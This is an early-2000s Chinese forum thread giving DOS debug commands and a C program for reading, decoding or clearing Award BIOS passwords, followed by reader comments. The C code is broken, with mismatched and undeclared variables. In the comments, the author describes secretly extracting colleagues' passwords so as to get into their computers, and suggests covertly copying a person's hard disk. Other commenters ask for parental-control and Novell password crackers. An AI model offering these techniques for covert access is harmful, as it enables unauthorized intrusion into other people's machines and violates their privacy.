ChinaUnix.net
 >> ChinaUnix.net > 安全话题

阿鸟破密码~~嘿嘿!

作者:gallto     发表时间:2002/01/16 08:53am

CMOS (Award)密码简介与破解0--3法
 计算机启动时,由存放在主板ROM中的bios将cmos数据调入内存中,以实现控制系统。      
其中,Award主板上的一小块RAM用于存放CMOS数据,地址为00-7F的共128个字节中。
当中的字节 1c和1d存放的就是cmos的密码(即Supervisor Password)。
而维持cmos数据存活的当然是那块锂电池了。
端口70h,71h用于对cmos数据的读写。
1-->>破解方法1--挺烂:
进入dos,用debug
-o 70 10
-o 71 01
-q
重启后,可以直接进入cmos,而没有密码询问了。
这种方法是通过向cmos芯片写入数字,导致开机检测时无法通过其奇偶校验,从而使cmos芯片数据重新恢复到默认的出厂值!!!
-->>方法2:当然是编程实现喽,
具体操作简介如下:
outportb(0x70,i);   将i字节的数据写到端口70
cmospass=_inp(0x71); 将71端口的数据读出到终端并存入变量cmospass
程序实现将这两个字节0x1c,0x1d的数据读出来,并转化成四进制,合并成8位即可
程序测试系统:win98se
编译工具:turboc2
以下为cmospass的源代码:cmospass.c
代码:
--------------------------------------------------------------------------------

#include  
#include
#include
void main()
{
 int n;
 char comspass;
 char temp=0;
 printf("\nThis program only is tested at win98 and award bios!!\n");
 printf("The password of the cmos is:");
 
 outportb(0x70,0x1d);
 comspass=inportb(0x71);
 for(n=6;n>=0;n-=2)
  {   temp=cmospass;
     temp>>=n;
     temp=temp&0x03;        
    printf("%d",temp);
  }
outportb(0x70,0x1c);
 result=inportb(0x71);
 for(n=6;n>=0;n-=2)
 {   temp=cmospass;
  temp>>=n;
  temp=temp&0x03;
  printf("%d",temp);  
 }
 
printf("\n--By skyjacker");
printf("\n--http://lastknife.yeah.net---Welcome to here!!");
printf("\n----2002.01.04---- \n");
}

3-->>方法3--绿色环保型:
我觉得这也是现在最快,最好,最实用的方法了!!!!!
无论你到哪里,包括网吧好像也是一大堆award吧
如果你暂时无c语言编译器或相关破解程序,用这种的方法也可以快速破解出cmos密码
主要是看你键盘输入以及实现16进制和4进制的转化的速度
过程有三步:(很简单的,不过说明有点麻烦罢了:)
1。进入ms-dos,键入debug(这不是清除cmos密码吗?---放心,这次不会了:),
出现字符“-”,键入如下指令
c:\debug
-o 70 1d  
-i 71
xx
-o 70 1c
-i 71
yy
-q

注:xx,yy是显示结果,1d,1c这两个单元存放的是cmos密码加密后的结果,
计下这两个16进制数
2.将他们转化为4进制
比如:
xx是8E,转化后为 2032,
yy为3B,转化后就是0323,
两个合并xxyy为22201001 ,这就是cmos的密码了.
如果xx或yy转化后,不足四位则在最前面加"0"凑足四位(比如0323).
如果你的运气不坏的话,成功率为98%以上.(毕竟award主板也有许多别的型号).
3.用win2000的科学型计算器转化即可



此文章相关评论:
该文章有21个相关评论如下:(点这儿可以发表评论)
gallto 发表于: 2002/01/16 08:57am
哪位大老晓得何处可以下载到DOS6.22……感激涕淋!
 
紫夜 发表于: 2002/07/09 04:47pm
bios密码是有两种的,有一种让你连机器都进不去,怎么可能会让你编程
 
njSolar 发表于: 2002/07/09 04:53pm
这些办法太烦了,直接从主板动不是更快吗???
--一板主板都有清cmos的跳线。
 
gallto 发表于: 2002/07/10 09:12am
当面对开机密码时,,我很少猜中同事的密码
可以试一下运气,一般人的都不太去设置CMOS,大都设置情况都是软驱/光驱优先启动
那就给了我们这些喜欢玩笑的人机会,可以软驱/光驱启动,用上述方法得到他人的密码
从此可以轻易的进入他的电脑,小心!!!!不要让别人知道(他一直都会以为电脑很安全,里面好多美女图片也不会删除)
 
glz 发表于: 2002/07/10 10:27am
同意紫夜 的观点
 
weiayong 发表于: 2002/07/19 01:03am
要是电脑一开机就叫你输密码,那你怎样进入dos?
 
gallto 发表于: 2002/07/19 08:40am
我想大家都有点偏离主题了,我们只是讨论清CMOS的方法,
如果您只是想看看别人电脑的内容,建议您乘没人的时候,
把她的硬盘做个COPY,然后带回家慢慢研究!
 
cheerland 发表于: 2002/08/15 10:25am
如果他的密码里有字母、特殊字符怎么办?还有,为什么2032和0323合并后会是22201001?最后,award没有注意到这个问题吗,怎么不改?
 
27700105 发表于: 2002/08/15 12:12pm
我看放电来的剩事
 
unnamed 发表于: 2002/08/15 02:37pm
谁知道NOVELL
 
unnamed 发表于: 2002/08/15 02:38pm
谁知道NOVELL的密码怎么破。。  
 
 
cheerland 发表于: 2002/08/22 10:33am
我试了一下,没有设密码的机子反应有两种,一种是DDDD,一种是0000;还有,要是别人密码不是8位怎么办?
 
月之影 发表于: 2002/08/23 04:31pm
我上次不小心猜出了同学的电脑的开机密码,是他的名字的五笔型码,耗时30秒~!
呵呵
 
paullu 发表于: 2002/08/23 05:45pm
呵呵,有谁能破DELL手笔记本电脑上的config password,算他有能耐。
 
tansenen 发表于: 2002/08/27 01:35pm
一个密码要那么辛苦吗?:) 是我就放电得了 我觉得如果别人要是设置了密码你根本就进不去嘛怎么去改啊看啊的 笨
 
bafjhhgd 发表于: 2002/12/16 02:08pm
  请问有谁能帮我找一个可以破解“网络爸爸”中的密码的软件!!
 
asuka 发表于: 2002/12/17 10:00am
我记得有很多类似的文章
还有BIOS的万能密码,有百多个,可以去黑白看看
 
king1981 发表于: 2002/12/17 11:45am
对放电是好办法,,DEBUG 也是办法
刚刚有人说开机的密码有必要说吗,如果没有人就放电哟哥哥呀,
谁会那么的变态的用开机密码呀.........~~~~~
 
torrent 发表于: 2002/12/17 02:52pm
这 些 都 快 过 时 了。
 
liuhand 发表于: 2002/12/19 08:37pm
破笔记本密码,有一张解密盘几可以拉
 
失败英雄 发表于: 2003/01/08 11:53am
其实不没有进入开机的密码 ,可以用启动盘进入,但要设置的第一驱动器为A
debug 哪个汇编语言破解 我以前也用过,每次都成功那,可以破解BIOS和开机密码
------QQ:26671560
 
 

Copyright © ChinaUnix.net  *  转载请注明出处及作者